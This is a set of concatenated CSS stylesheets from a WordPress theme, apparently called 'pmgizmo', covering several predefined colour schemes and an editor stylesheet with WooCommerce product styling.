	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #104386;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background-color: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
    border: 4px solid #010e1f;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #08346e;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/crimson.css000064400000013544152223213640012534 0ustar00/*
Predefined Colors
Theme: Crimson Glory
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #3B5998;
}

/* Body */
body {
    background-color: #d0d0d0;
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #37393C;
    background: #6F8196 -webkit-gradient(linear, left top, left bottom, from(#37393C), to(#6F8196)) no-repeat;
    background: #6F8196 -moz-linear-gradient(top, #37393C, #6F8196) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#37393C, endColorstr=#6F8196) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#37393C, endColorstr=#6F8196)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #4E5052;
}
.header-line {
    border-top: 15px solid #202020;
    border-bottom: 1px solid #5b5555;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #626f76;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #ac012e;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #323232;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
    background: #ac012e;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #272727;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #0184AC;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #304e5c;
}
/* Search */
.search-form-top {
    background-color: #7b0725;
    border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit:hover {
    background: #ac012e;
}
/* Main Navigation */
#navi-wrap  {
    background: #ac012e;
    border-top: none;
    border-bottom: 2px solid #8f0e2f;
}
.natty #navi-wrap,
.stickynav {
    background: #ac012e;
    border-top: 2px solid #8f0e2f;
    border-bottom: 2px solid #8f0e2f;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #0066cc;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #314d02;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #ac1273;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #ac012e;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #AC012E;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #3c3c3c;
    border-top: 0.5em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widget {
    background: #555;
    border: 0.4em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    background: #444;
    padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #444;
    background: #121212;
}
/* LOL to Top */
.scrollToTop {
    background: #3d3d3d;
    border: 4px solid #171717;
}
.scrollToTop:hover {
    background: #3B5998;
}
.scrollToTop:before {
    color: #f9f9f9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    #header ul.nav-menu {
        background: #ac012e;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #ac012e;
    }
}pmgizmo/css/styles/deepblue.css000064400000011540152223213640012641 0ustar00/*
Predefined Colors
Theme: Deep Blue
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #c5d0d6;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #0d3d78;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #083266;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #0a2a51;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #970043;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #001228;
	border: 2px solid #303030;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #970043;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #303030;
}
/* Search */
.search-form-top {
    background-color: #0d3d78;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: #1560bd;
}
.search-form .search-submit:hover {
	background: #970043;
}
/* Main Navigation */
#navi-wrap {
	background: #1560bd;
	border-bottom: 3px solid #4692f0;
}
.natty #navi-wrap {
	background: #1560bd;
	border-top: 3px solid #0d3d78;
	border-bottom: 3px solid #0d3d78;
}
.stickynav {
	background: #1560bd;
	border-top: 2px solid #4692f0;
	border-bottom: 2px solid #4692f0;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #2a5f9f;
    background: #5393e3 -webkit-gradient(linear, left top, left bottom, from(#2a5f9f), to(#62A2EE)) no-repeat;
    background: #62A2EE -moz-linear-gradient(top, #2a5f9f, #62A2EE) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#2a5f9f, endColorstr=#62A2EE) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#2a5f9f, endColorstr=#2a5f9f)" no-repeat;
}
.header-line {
	border-top: 15px solid #014074;
	border-bottom: 1px solid #286db9;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #970043;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #0d3d78;
	border: 1px solid #083469;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
    background-color: #2a5f9f;
    background: #5393e3 -webkit-gradient(linear, left top, left bottom, from(#194a86), to(#3271c0)) no-repeat;
    background: #3271c0 -moz-linear-gradient(top, #194a86, #3271c0) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#194a86, endColorstr=#3271c0) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#194a86, endColorstr=#194a86)" no-repeat;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #0d3d78;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #6686B2;
	background-color: #09356a;
}
/* LOL to Top */
.scrollToTop {
    background: #2D65A7;
    border: 4px solid #2D5489;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #0d3d78;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/pinky.css000064400000011520152223213640012204 0ustar00/*
Predefined Colors
Theme: Pinky
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #741b55;
}
/* Body */
body {
    background: #bfa3d7;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #330A58;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #aa0078;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #09099b;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #dd009c;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #0078aa;
	border: 2px solid #00aef7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #dd009c;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #00aef7;
}
/* Search */
.search-form-top {
    background-color: #330A58;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #aa0078;
}
/* Main Navigation */
#navi-wrap {
	background: #aa0078;
	border-bottom: 3px solid #A171CA;
}
.natty #navi-wrap {
	background: #aa0078;
	border-top: 3px solid #A171CA;
	border-bottom: 3px solid #A171CA;
}
.stickynav {
	background: #aa0078;
	border-top: 2px solid #84005D;
	border-bottom: 2px solid #84005D;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #0078aa;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #770054;
	border: 2px solid #f700ae;
	border-top: none;
}
ul.nav-menu ul a,
.nav-menu ul ul a {
	border-top: 1px solid #f700ae;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0078aa;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #7743a4;
    background: #9968c5 -webkit-gradient(linear, left top, left bottom, from(#7743a4), to(#9968c5)) no-repeat;
    background: #9968c5 -moz-linear-gradient(top, #7743a4, #9968c5) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#7743a4, endColorstr=#9968c5) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#7743a4, endColorstr=#7743a4)" no-repeat;
}
.header-line {
	border-top: 15px solid #512478;
	border-bottom: 1px solid #905ebc;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #763AA5;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #A171CA;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #763aa5;
	border: 1px solid #763aa5;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #660066;
	border-top: 5px solid #bfa3d7;
}
#footer-widgets .widget {
    background: #e0e2e1;
    border: 5px solid #bfa3d7;
}
#footer-widgets .widgettitle {
    background: #763aa5;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #7d0d7d;
	background-color: #330a58;
}
/* LOL to Top */
.scrollToTop {
    background: #660066;
    border: 4px solid #490049;
}
.scrollToTop:hover {
    background: #dd009c;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #660066;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #9D538E;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #330A58;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/editor-style.css000064400000041110152223213640012151 0ustar00/*-- General Styles --*/
body {
    color: #333;
    font-family: Arial, Helvetica, sans-serif;

}
a,
a:link,
a:visited {
    color: #1079c9;
    text-decoration: none;
}
a:hover {
    color: #0645ad;
    text-decoration: underline;
}
/* Form Elements */
input, textarea {
    color: #333;
    font-family: Arial, Helvetica, sans-serif;
    padding: 0.7em;
    background: #fff;
    border: 1px solid #ddd;
    font-size: 1em;
}
input[type=submit] {
    background-color: #1079c9;
    border: none;
    color: #fff;
    padding: 0.5em 1em;
}
input[type=submit]:hover {
    background-color: #4caf50;
    cursor: pointer;
    color: #fff;
}
/* Clearing Floats */
.clearfix:after,
.clearfix:before {
    content: " ";
    display: table;
}
/* Make Form Elements responsive */
input, textarea, select {
    max-width: 100%;
    font-size: 16px;
    padding: 6px;
}
#sidebar select {
    width: 100%;
}
#wrap, .clearfix:after,
.comment-author img:after,
.main-navigation, .postinfo, .stickynav {
    clear: both;
}

/*-- Posts and Pages --*/
.type-attachment,
.type-page,
.wi .type-post {
    margin: 0 0 2em;
    padding: 0 0 0.5em;
    border-bottom: 1px solid #eaeaea;
}
.page-title,
.editor-post-title .editor-post-title__input {
    font-weight: 700;
    font-family: Arial, Helvetica, sans-serif;
    color: #3c3c3c;
    line-height: 1.4em;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
}
.page-title {
    font-size: 2.3em;
    padding: 0.1em 0;
}
.editor-post-title .editor-post-title__input {
    font-size: 1.95em;
    padding: 0.1em 0;
}
.editor-post-title .editor-post-title__input a:link,
.editor-post-title .editor-post-title__input a:visited {
    color: #3c3c3c;
    text-decoration: none;
}
.editor-post-title .editor-post-title__input a:active,
.editor-post-title .editor-post-title__input a:hover {
    color: #333;
    text-decoration: underline;
}
/* Page Links | wp_link_pages() */
.page-links {
    margin: 0;
    font-size: 20px;
    line-height: 2.5em;
}
.page-links a {
    text-decoration: none;
    border: 1px solid #ccc;
    background: #f9f9f9;
    margin: 0;
    padding: 7px 15px;
}
.page-links a:hover {
    background: #0066cc;
    color: #fff !important;
}
/* Postmeta */
.postinfo,
.postmeta {
    color: #333;
    margin: 0;
    padding: 0;
    line-height: 1.5em;
    font-size: 0.9em;
}
.postinfo {
    margin: 1em 0;
    background: #eee;
    padding: 0.5em;
    border: 1px solid #ddd;
}
.postinfo span,
.postmeta span {
    margin-right: 0.5em;
}
.postmeta a:link,
.postmeta a:visited {
    color: #555;
}
.postmeta a:active,
.postmeta a:hover {
    text-decoration: underline;
}
/* Postmeta Icons */
.postinfo span:before,
.postmeta span:before {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    font: 400 14px/1 dashicons;
    vertical-align: text-top;
    color: #777;
}
.postmeta .meta-date:before {
    content: '\f145';
}
.postmeta .meta-author:before {
    content: '\f110';
}
.postmeta .meta-category:before {
    content: '\f318';
}
.postinfo .meta-comments:before {
    content: '\f101';
}
.postinfo .meta-tags:before {
    content: '\f323';
}

/*-- Text Elements --*/
p {
    font-size: 1.15em;
    line-height: 1.65;
    margin: 1em 0;
}
h1,
h2,
h3,
h4,
h5,
h6 {
    color: #222;
    font-weight: 700;
    line-height: 1.1em;
    margin: 1.2em 0 0.3em;
}
h1 {
    font-size: 1.95em;
}
h2 {
    font-size: 1.75em;
}
h3 {
    font-size: 1.5em;
}
h4 {
    font-size: 1.25em;
}
h5 {
    font-size: 1.125em;
    margin: 1.3em 0 0;
}
h6 {
    font-size: 1em;
    margin: 1.3em 0 0;
}
/* List Elements New */
ol,
ul {
    font-size: 1.15em;
    line-height: 1.65;
}
ol > li {
	list-style-type: decimal;
	margin: 0 0 5px 35px;
}
ol ul > li {
    list-style-type: disc;
}
ol ol > li {
	list-style-type: upper-alpha;
}
ol ol ol > li {
	list-style-type: lower-roman;
}
ul > li {
    list-style-type: disc;
    margin: 0 0 5px 35px;
}
ul ul > li {
	list-style-type: square;
}
ol ul ul > li,
ul ul ul > li {
	list-style-type: circle;
}
ol ol,
ul ul {
	margin-bottom: 0;
}
dl {
    margin: 1em 0;
}
dt, strong {
    font-weight: 700;
}
dd {
    margin-bottom: 1.5em;
}
cite, em, i {
    font-style: italic;
}
.big_tag,
big {
    font-size: 1.3em;
}
ins {
    background: 0 0;
    text-decoration: none;
}
code,
pre {
    padding: 3px 8px;
    margin: 0 1px;
    background: #eee;
    color: #222;
    font-size: 0.9em;
    font-family: Monospace, "Courier New", Courier, sans-serif;
    overflow: auto;
    line-height: 1.4em;
}
.tt_tag,
kbd,
tt,
var,
pre {
    font-family: "Courier 10 Pitch", Courier, monospace;
}
del, s, strike {
    text-decoration: line-through;
}
small {
    font-size: 0.7em;
}
abbr, acronym {
    border-bottom: 1px dotted #666;
    cursor: help;
}
sub, sup {
    height: 0;
    line-height: 1;
    position: relative;
    vertical-align: baseline;
    font-size: 0.8em;
}
img,
article .wp-post-image {
    height: auto;
    max-width: 100%;
}
.pmns img {
    cursor: url("images/magnify.cur"), -webkit-zoom-in;
    cursor: url("images/magnify.cur"), zoom-in;
}
sup {
    bottom: 1ex;
}
sub {
    top: 0.5ex;
}
.tt_tag,
kbd,
tt,
var {
    font-size: 1.1em;
}
blockquote {
    background: #f5f5f5;
    border-left: 10px solid #ccc;
    margin: 1.2em 0;
    padding: 0.3em 1.4em;
}
blockquote cite {
    display: block;
    margin: 0.5em 0 0 0.5em;
    color: #777;
}
table {
    border: 1px solid #ddd;
    margin: 1em 0;
    text-align: left;
    width: 100%;
}
thead th,
tr th {
    background: #e5e5e5;
    font-weight: 700;
    padding: 0.2em 1em;
}
tr td {
    border-top: 1px solid #ddd;
    padding: .2em 1em;
}
tr.alternate td {
    background: #f5f5f5;
}
/*-- Images | Gallery | Videos --*/
article .wp-post-image {
    margin: 0 auto;
}
.archive article .wp-post-image.alignleft,
.blog article .wp-post-image.alignleft,
.search article .wp-post-image.alignleft {
    margin: 1em 1em 1em 0;
}
.archive article .wp-post-image.alignright,
.blog article .wp-post-image.alignright,
.search article .wp-post-image.alignright {
    margin: 1em 0 1em 1em;
}
.archive article .wp-post-image.aligncenter,
.blog article .wp-post-image.aligncenter,
.search article .wp-post-image.aligncenter{
    margin: 0 auto 1em;
}
.wp-caption {
    max-width: 100%;
    height: auto;
    text-align: center;
    margin: 0.5em 0;
}
.wp-block-image figcaption,
.wp-caption-text,
.wp-caption p.wp-caption-text {
    color: #666;
    margin: 0 0 1em 0;
    padding: 0 0 0.25em 0;
    font-size: 0.925em;
    font-style: italic;
    text-align: center;
}
.alignleft {
    float: left;
    display: inline;
    margin: 1em 2em 1em 0;
}
.alignright {
    float: right;
    display: inline;
    margin: 1em 0 1em 2em;
}
.aligncenter {
    margin: 1em auto;
    display: block;
}
/* Gallery Styling */
.gallery {
    padding-top: 1em;
}
.gallery-item {
    padding: 0.3em 1em 0 0;
    -webkit-box-sizing: border-box;
            box-sizing: border-box;
}
.gallery img {
    margin: 0;
    padding: 2px;
    border: 1px solid #ddd!important;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.gallery-caption {
    color: #666;
    font-size: 0.9em;
    font-style: italic;
    height: auto;
    max-width: 100%;
    text-align: center;
    margin: 0;
}
/* Make Videos responsive */
embed, iframe, object, video {
    max-width: 100%;
}
/* Products */
.prodimg  {
    float:left;
    margin:0.5em 1.5em 1em 0;
    max-width:340px;
    padding:1em;
    text-align:center;
    -webkit-box-shadow: 0 0 5px 4px rgba(191, 191, 191, 1);
    box-shadow: 0 0 5px 4px rgba(191, 191, 191, 1);
}
.prodimg img  {
    height: auto;
    max-width: 100%;
}
.proprice {
    color:#9b0707;
    font-size: 1.85em;
    padding-bottom:10px;
    text-align:center;
}
.wp_automatic_amazon_review {
    min-height: 500px;
}
.buybox {
    text-align:center;
    margin: 40px auto;
    padding: 25px 25px 0 25px;
    max-width: 420px;
    background-color: #ffffcc;
    border: 4px dashed #9b0707;
}
/* Products List */
.shopbttn {
    width:200px;
    max-width: 100%;
    margin-bottom:10px;
}
.buynowrel {
    color:#fff;
    font-size:11px;
    text-transform:uppercase;
    float:right;
    height:15px;
    padding:8px 5px 4px 23px;
    width:auto;
    min-width:60px;
    background: #0071bc url(images/cart.png) 7px no-repeat;
    margin-bottom:10px;
    margin-left:5px;
    border-radius:3px;
    -webkit-box-shadow:0 6px 6px -6px #777;
    box-shadow: 0 6px 6px -6px #777;
}
.buyprice {
    color: #fff;
    font-size:12px;
    text-transform:uppercase;
    float:left;
    height:15px;
    padding:8px 5px 4px 10px;
    width:auto;
    min-width:40px;
    background:#444 ;
    margin-bottom:10px;
    border-radius:3px;
    -webkit-box-shadow:0 6px 6px -6px #777;
    box-shadow: 0 6px 6px -6px #777;
}
.buynowrel:hover {
    background:#22b573 url(images/cart.png) 7px no-repeat;
}
.viewdts{
    margin: -200px auto 0;
    bottom: 10px;
    height: 200px;
    max-width: 200px;
    width: 100%;
    position: relative;
    z-index: 10;
    float:left;
}
.viewdts:hover{
    background: rgba(0, 0, 0, 0.70) url('images/view.png') center center no-repeat;
}
@media only screen and (min-width:60em) {
    .related-posts-four-columns .related-post-column .viewdts {
        margin: -170px auto 0;
        height: 170px;
    }
}
/* Video */
.vidbox {
    margin:1em auto;
    text-align:center;
}
.vids {
    display:inline-block;
    padding:1em;
    -webkit-box-shadow: 0 0 5px 3px rgba(191, 191, 191, 1);
    box-shadow: 0 0 5px 3px rgba(191, 191, 191, 1);
}
.vid-title {
    font-size: 1.35em;
    text-align: center;
}
.play {
    background: url('images/ytplay.png') center center no-repeat;
    margin: -200px 10px 0 0;
    height: 200px;
    position: relative;
    z-index: 10;
}

/*-- WooCommerce --*/
/* Product thumbnails */
.woocommerce ul.products li.product a img {
    margin: 0;
    border: 1px solid #d3ced2;
    padding: 0.35em;
    overflow: hidden;
    transition: transform .5s ease;
}
.woocommerce ul.products li.product a img:hover {
    transform: scale(1.05);
    z-index: 999;
}
.woocommerce ul.products li.product a:hover {
    text-decoration: underline;
}
.woocommerce ul.products li.product .button {
    font-size: 0.95em;
    margin-top: 0.25em;
    background: #353535;
    color: #f5f5f5;
}
/* Product Content */
.woocommerce div.product .product_title {
    font-size: 1.65em;
    line-height: 1.05em;
    padding: 0 0 0.37em;
    font-weight: 700;
    color: #2c2c2c;
    word-wrap: break-word;
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
    background-color: #008000;
    color: #fff;
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
    background-color:#3B5998;
    color:#fff
}
.woocommerce div.product p.price,
.woocommerce div.product span.price {
    margin-bottom: 0.5em;
    color: #A61919;
}
.woocommerce div.product form.cart .variations select {
    padding: 0.3em 0 0.3em 0.5em;
    font-size: 0.95em;
    margin-bottom: 0.3em;
}
.woocommerce div.product div.images .flex-control-thumbs li img {
    width: 85%;
    border: 1px solid #ddd;
    padding: 3px;
    margin: 3px;
}
.related-items {
    background: -webkit-gradient(linear, left top, left bottom, from(#e9eaed), to(#f3f3f3)) rgba(0, 0, 0, 0);
    background: linear-gradient(#e9eaed, #f3f3f3) rgba(0, 0, 0, 0);
    font-size: 1.25em;
    text-transform: uppercase;
    padding: 0.5em;
    margin: 0 0 0.55em;
    color: #2c2c2c;
}
.product-title {
    color: #24445d;
    font-size: 1em;
    font-weight: 500;
}
#footer-widgets .product-title {
    color: #f9f9f9;
}
div.ppt {
    font-size: 22px;
}
.woocommerce #reviews #comments h2,
.woocommerce #commentform label {
    font-size: 20px;
    margin: 1em 0;
}
/* Product Shop */
.woocommerce .woocommerce-ordering {
    margin: 0 0 1.5em;
}
.woocommerce .woocommerce-ordering select {
    padding: 0.3em 0 0.3em 0.5em;
    font-size: 0.95em;
}
.woocommerce-variation-availability {
    margin: 0.5em 0 0.9em;
}
.woocommerce .quantity .qty {
    padding: 0.45em;
}
/* Product Widgets */
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
    margin: 0 auto 8px;
    border-bottom: 1px solid #d3ced2;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
    float: left;
    margin-right: 7px;
    width: 74px;
    border: 1px solid #d3ced2;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
    border-left: 0;
    float: left;
    margin: 0;
    padding: 0 0.5em 0 0;
}
.woocommerce .widget_shopping_cart .total,
